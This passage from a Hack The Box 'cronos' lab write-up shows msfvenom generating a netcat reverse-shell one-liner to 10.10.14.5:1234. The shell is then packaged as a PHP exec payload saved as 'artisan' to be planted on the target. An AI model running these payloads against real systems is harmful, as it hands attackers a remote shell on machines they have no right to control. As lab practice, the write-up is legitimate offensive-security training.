msfvenom


┌──(kali㉿kali)-[~/archive/htb/labs/cronos]
└─$ msfvenom -p cmd/unix/reverse_netcat LHOST=10.10.14.5 LPORT=1234                                                   
[-] no platform was selected, choosing msf::Module::Platform::Unix from the payload
[-] no arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
payload size: 96 bytes
mkfifo /tmp/ountei; nc 10.10.14.5 1234 0</tmp/ountei | /bin/sh >/tmp/ountei 2>&1; rm /tmp/ountei

msfvenom to generate the reverse shell payload

┌──(kali㉿kali)-[~/archive/htb/labs/cronos]
└─$ msfvenom -p php/exec CMD='mkfifo /tmp/ountei; nc 10.10.14.5 1234 0</tmp/ountei | /bin/sh >/tmp/ountei 2>&1; rm /tmp/ountei' -o artisan          
[-] no platform was selected, choosing msf::Module::Platform::PHP from the payload
[-] no arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
payload size: 1502 bytes
saved as: artisan

I will then wrap the payload inside the PHP exec() method and save it as artisan